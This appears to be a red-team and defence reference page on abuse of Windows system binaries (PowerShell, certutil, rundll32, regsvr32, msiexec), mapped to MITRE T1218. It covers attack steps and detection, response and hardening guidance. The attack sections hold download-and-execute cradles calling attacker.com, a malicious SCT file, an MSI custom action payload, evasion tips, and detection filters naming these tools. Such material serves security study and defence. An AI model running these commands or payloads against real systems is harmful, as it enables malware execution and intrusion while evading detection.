| Attribute | Details |
|---|---|
| Technique ID | EVADE-BINARY-001 |
| MITRE ATT&CK v18.1 | T1218 – System Binary Proxy Execution |
| Tactic | Defense Evasion |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016-2025, Windows 10-11 |
| Patched In | N/A (Inherent to system design) |
| Author | SERVTEP – Artur Pchelnikau |
Living off the Land Binaries (LoLBins) are legitimate, signed Windows system binaries intentionally abused by adversaries to execute malicious code while avoiding endpoint detection. LoLBins such as PowerShell.exe, Certutil.exe, Rundll32.exe, Regsvr32.exe, and Msiexec.exe were designed for legitimate administrative purposes but possess execution capabilities that bypass application whitelisting and behavioral analysis. By leveraging these trusted binaries, adversaries reduce their forensic footprint because execution originates from signed, Microsoft-authored code rather than external payloads, creating detection ambiguity.
LoLBins exploit multiple execution vectors: process invocation (file downloads, script execution), DLL loading (DLL injection, side-loading), registry manipulation (COM object execution, scheduled task creation), and file operations (script interpretation). Each binary category exposes a specific weakness in the Windows execution trust model.
Critical operational risk. LoLBins execution enables full code execution, lateral movement, and persistence without requiring external tools or files. A compromised endpoint becomes a staging platform for ransomware deployment, data exfiltration, and network-wide compromise. Detection difficulty is severe due to reliance on legitimate execution chains, increasing dwell time by 40-60%.
LoLBins attacks execute within milliseconds to seconds and generate minimal suspicious file system artifacts. Detection typically requires behavioral analysis, command-line inspection, or parent-child process anomaly detection. Signature-based defenses fail because executables are signed and versioned by Microsoft. APT groups including Lazarus, APT29, and Wizard Spider extensively abuse LoLBins as primary execution vectors.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 2.2.45 | Ensure that Windows Defender Application Control (WDAC) is enabled |
| DISA STIG | SV-220724r880800_rule | Application whitelisting must be enabled |
| CISA SCuBA | MA-3.2 | Managed Configuration Management |
| NIST 800-53 | SI-7, AC-3 | Software Integrity and Access Enforcement |
| GDPR | Art. 32 | Security of Processing – Confidentiality & Integrity |
| DORA | Art. 9 | Protection and Prevention of ICT-related incidents |
| NIS2 | Art. 21 | Cybersecurity Risk Management Measures |
| ISO 27001 | A.8.3, A.9.2.3 | Cryptography, Privileged Access Management |
| ISO 27005 | 12.6.1 | Management of technical vulnerabilities and weaknesses |
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe) – Script execution, encoding, obfuscationC:\Windows\System32\certutil.exe) – Decoding, encoding, hash verification, file transferC:\Windows\System32\rundll32.exe) – DLL execution, COM object invocationC:\Windows\System32\regsvr32.exe) – COM DLL registration, code executionC:\Windows\System32\msiexec.exe) – MSI package installation, code executionC:\Windows\System32\mshta.exe) – HTML application executionC:\Windows\Microsoft.NET\Framework\v*\csc.exe) – C# compilation and executionC:\Windows\System32\wbem\wmic.exe) – WMI command line interfaceC:\Windows\System32\bitsadmin.exe) – Background Intelligent Transfer ServiceVerify that target LoLBins are present and accessible:
# Check for PowerShell availability
Get-Command powershell.exe -ErrorAction SilentlyContinue
# Check for Certutil
Get-Command certutil.exe -ErrorAction SilentlyContinue
# Verify execution policy (if PowerShell is target)
Get-ExecutionPolicy -Scope CurrentUser
Get-ExecutionPolicy -Scope LocalMachine
# Check if AppLocker is enabled
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Check Windows Defender Application Control (WDAC) status
Get-CimInstance -ClassName Win32_Service | Where-Object {$_.Name -eq 'LPASVC'}
What to Look For:
# List PowerShell versions available
dir C:\Windows\System32\WindowsPowerShell\
dir C:\Program Files\PowerShell\
# Check Certutil presence
certutil.exe -?
# Verify script execution is permitted
powershell.exe -Command "Get-ExecutionPolicy"
Supported Versions: Server 2016-2025, Windows 10-11 (all versions)
Objective: Execute arbitrary PowerShell code directly via command invocation, bypassing script files.
Command:
powershell.exe -Command "Write-Host 'Payload executed'; IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
Expected Output:
Payload executed
[Output from downloaded payload]
What This Means:
DownloadString retrieves payload from remote HTTP server without file on diskIEX (Invoke-Expression) executes retrieved code in memoryOpSec & Evasion:
-EncodedCommand parameter-WindowStyle Hidden -NoProfileDetection Likelihood: Medium-High (PowerShell logging, process parent anomaly)
Troubleshooting:
Invoke-Expression instead of IEXGet-Content with UNC path instead: Get-Content '\\attacker.com\share\payload.ps1'$cred = Get-Credential; (New-Object Net.WebClient).DownloadString(...)References & Proofs:
Objective: Obfuscate payload via Base64 encoding to evade signature detection.
Command:
# Encode payload
$payload = 'Write-Host "Malicious code"'
$encodedPayload = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))
# Execute encoded payload
powershell.exe -EncodedCommand $encodedPayload
Expected Output:
Malicious code
What This Means:
OpSec & Evasion:
-NoProfile flag to skip PowerShell profile loading (reduces observable behavior)-WindowStyle Hidden to suppress output windowDetection Likelihood: Medium (Sysmon EventID 1 inspection, command-line decoding)
Troubleshooting:
References & Proofs:
Supported Versions: Server 2016-2025, Windows 10-11
Objective: Encode binary payload using Certutil to obfuscate malicious executable.
Command:
certutil.exe -encode C:\temp\malware.exe C:\temp\malware.txt
Expected Output:
Input Length = 12345
Output Length = 16789
CertUtil: -encode command completed successfully.
What This Means:
OpSec & Evasion:
Detection Likelihood: Low (legitimate administrative operation)
Troubleshooting:
certutil.exe -encode C:\Windows\Temp\malware.exeReferences & Proofs:
Objective: Decode encoded payload and execute.
Command:
certutil.exe -decode C:\temp\malware.txt C:\temp\malware.exe
C:\temp\malware.exe
Expected Output:
Input Length = 16789
Output Length = 12345
CertUtil: -decode command completed successfully.
[Output from executed malware]
What This Means:
OpSec & Evasion:
del C:\temp\malware.txt)Detection Likelihood: High (file creation, process execution, parent-child anomaly)
Supported Versions: Server 2016-2025, Windows 10-11
Objective: Load and execute arbitrary DLL using Windows DLL runner binary.
Command:
rundll32.exe C:\temp\malicious.dll,Export
Expected Output:
[Output from DLL export function]
What This Means:
OpSec & Evasion:
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exeDetection Likelihood: High (unsigned DLL loading, parent-child process inspection)
Troubleshooting:
rundll32.exe C:\Windows\Temp\malicious.dll,Exportdumpbin.exe /exports malicious.dllReferences & Proofs:
Supported Versions: Server 2016-2025, Windows 10-11
Objective: Leverage Regsvr32 to execute arbitrary script via Windows Script Component (.sct) file.
Create Malicious SCT File:
<?xml version="1.0"?>
<package>
<component id="Payload">
<script language="VBScript">
Sub Exploit()
CreateObject("WScript.Shell").Run "powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
End Sub
<object progid="VBScript.Regexp" id="Regexp"/>
<object progid="MSXML2.XMLHTTP" id="HTTP"/>
</script>
</component>
<component id="Trigger">
<script language="VBScript">
Exploit()
</script>
</component>
</package>
Save as: C:\temp\payload.sct
Execution Command:
regsvr32.exe /s /n /u /i:C:\temp\payload.sct scrobj.dll
Expected Output:
[No visible output; script executes silently via /s flag]
What This Means:
/i parameter specifies initialization URL (can be local SCT file path)/s flag suppresses output dialogsOpSec & Evasion:
/s /n /u` flags minimize observable behavior (silent, ignore failures)/i:http://attacker.com/payload.sctDetection Likelihood: Medium-High (Regsvr32 invocation with suspicious parameters, Sysmon EventID 11)
Troubleshooting:
powershell.exe -Command "[xml](Get-Content C:\temp\payload.sct)"regsvr32.exe /s /i:C:\temp\payload.sct C:\Windows\System32\scrobj.dllReferences & Proofs:
Supported Versions: Server 2016-2025, Windows 10-11
Objective: Embed payload in MSI package and execute via Msiexec custom actions.
Create Malicious MSI:
(Requires WiX Toolset or manual MSI crafting; here shown conceptually)
<!-- WiX Toolset MSI definition -->
<Product Id="*" Name="Legitimate App" Language="1033" Version="1.0.0.0">
<CustomAction Id="PayloadExecution"
ExeCommand='powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1")'
Execute="deferred" Impersonate="no" Return="ignore" />
<InstallExecuteSequence>
<Custom Action="PayloadExecution" Before="InstallFinalize" />
</InstallExecuteSequence>
</Product>
Execution Command:
msiexec.exe /i C:\temp\malicious.msi /quiet /norestart
Expected Output:
[Silent execution; no visible output with /quiet flag]
What This Means:
/quiet suppresses installation UIOpSec & Evasion:
Detection Likelihood: Medium (Msiexec invocation, Event Log provider detection)
Troubleshooting:
signtool.exe verify /pa malicious.msiReferences & Proofs:
| Test ID | Test Name | Command | Cleanup |
|---|---|---|---|
| T1218.001 | mavinject - Inject DLL | mavinject.exe %PID% /injectrunning C:\temp\payload.dll |
taskkill /IM mavinject.exe |
| T1218.005 | mshta.exe JavaScript | mshta.exe vbscript:CreateObject("WScript.Shell").Run("powershell") |
N/A (in-memory) |
| T1218.009 | regsvr32.exe SCT | regsvr32.exe /s /i:http://attacker.com/payload.sct scrobj.dll |
regsvr32.exe /u scrobj.dll |
| T1218.011 | rundll32.exe DLL | rundll32.exe C:\temp\payload.dll Export |
taskkill /IM rundll32.exe |
Reference: Atomic Red Team – T1218
Rule: Flag PowerShell execution with -EncodedCommand or -Encoded parameter
Filter:
powershell.exe-EncodedCommand, -enc, -Encodedexplorer.exe, NOT cmd.exe (unexpected parents)Rule: Flag Certutil with -encode or -decode operations on suspicious file types
Filter:
certutil.exe-encode, -decode.exe, .dll, .scr (suspicious binaries)Rule: Flag Regsvr32 with /i parameter referencing SCT files
Filter:
regsvr32.exe/i: AND (.sct, http://, \\)Rule: Flag Rundll32 loading DLL from user-writable directories
Filter:
rundll32.exeC:\Users\, C:\Windows\Temp\, C:\Temp\)Rule: Flag Msiexec with /quiet or /qn flags
Filter:
msiexec.exe/quiet, /qn, /q)explorer.exe (unexpected launcher)# Disconnect from network (disable network adapters)
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
procdump64.exe -ma powershell.exe C:\Evidence\powershell.dmp
procdump64.exe -ma rundll32.exe C:\Evidence\rundll32.dmp
Get-WinEvent -LogName Security | Where-Object {$_.EventID -eq 4688} | Export-Csv -Path C:\Evidence\EventID4688.csv
taskkill /IM powershell.exe /F
taskkill /IM rundll32.exe /F
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PayloadName" /f
1. Enable Windows Defender Application Control (WDAC)
WDAC is a whitelist-based execution control that permits only signed and approved binaries.
Manual Steps (Server 2016-2019):
gpmc.msc)%SYSTEM32%, %WINDIR%, %PROGRAMFILES%powershell.exe, certutil.exe (in user-writable directories)Manual Steps (Server 2022+):
PowerShell Alternative (All Versions):
# Create WDAC policy (requires Admin)
New-CIPolicy -FilePath "$env:TEMP\Default.xml" -Level FilePublisher -Fallback Hash -UserPEs
ConvertFrom-CIPolicy -XmlFilePath "$env:TEMP\Default.xml" -BinaryFilePath "C:\Windows\System32\CodeIntegrity\SiPolicy.p7b"
# Verify WDAC is enforced
Get-CimInstance -Namespace "root\Microsoft\Windows\CI" -ClassName CodeIntegrityPolicy
2. Restrict PowerShell Execution Policy
Set PowerShell ExecutionPolicy to “AllSigned” or “RemoteSigned” to prevent unsigned script execution.
Manual Steps (Server 2016-2019):
gpmc.msc)C:\PowerShell\Transcripts\gpupdate /forceManual Steps (Server 2022+):
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine -Force
PowerShell Alternative:
# Set execution policy at machine level
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v ExecutionPolicy /t REG_SZ /d "RemoteSigned" /f
# Enable Script Block Logging
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
# Enable Transcription
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnableTranscripting /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription" /v OutputDirectory /t REG_SZ /d "C:\PowerShell\Transcripts\" /f
3. Enable Sysmon Process Logging
Deploy Sysmon to capture detailed process execution, network connections, and file creation events.
Installation:
# Download Sysmon
Invoke-WebRequest -Uri "https://live.sysinternals.com/Sysmon64.exe" -OutFile "C:\Tools\Sysmon64.exe"
# Create configuration file
@"
<Sysmon schemaversion="4.82">
<EventFiltering>
<!-- Log all process creation -->
<ProcessCreate onmatch="include">
<Image condition="is">powershell.exe</Image>
<Image condition="is">rundll32.exe</Image>
<Image condition="is">certutil.exe</Image>
<Image condition="is">regsvr32.exe</Image>
<Image condition="is">msiexec.exe</Image>
</ProcessCreate>
<!-- Log network connections -->
<NetworkConnect onmatch="include">
<DestinationPort condition="is">4444</DestinationPort>
<DestinationPort condition="is">8080</DestinationPort>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
</EventFiltering>
</Sysmon>
"@ | Out-File -FilePath "C:\Tools\sysmon-config.xml"
# Install Sysmon
C:\Tools\Sysmon64.exe -accepteula -i C:\Tools\sysmon-config.xml
1. File & Directory Permission Hardening
Restrict write access to System32 and Temp directories to SYSTEM only.
NTFS ACL Changes (PowerShell):
# Remove write permissions for Users on C:\Windows\Temp
$acl = Get-Acl "C:\Windows\Temp"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Users", "Write", "ContainerInherit,ObjectInherit", "None", "Deny")
$acl.AddAccessRule($rule)
Set-Acl -Path "C:\Windows\Temp" -AclObject $acl -Confirm:$false
# Verify restriction
Get-Acl "C:\Windows\Temp" | Select-Object -ExpandProperty Access
2. Disable Unnecessary System Services
Disable Windows Installer, BITS, WMI services if not required.
Manual Steps:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] | Phishing email with embedded Office macro |
| 2 | Execution | [EVADE-BINARY-001] | PowerShell or Certutil executes payload from macro |
| 3 | Persistence | [PE-POLICY-001] | GPO modification for scheduled task persistence |
| 4 | Privilege Escalation | [PE-TOKEN-001] | Token impersonation for privilege elevation |
| 5 | Impact | [EXFIL-DATA-001] | Data exfiltration via HTTP PUT to attacker server |
powershell.exe -NoP -NonI -W Hidden -EncodedCommand [Base64 beacon payload]
certutil.exe -decode encoded_malware.txt malware.exe
[execute malware with matching system file timestamps]
rundll32.exe C:\Users\Public\Libraries\payload.dll,Export
Regulatory Breach Scenario: Organization fails to implement WDAC or AppLocker, resulting in PowerShell-based ransomware infection.
Financial Penalties: $20M-$100M+ depending on organization size and data sensitivity.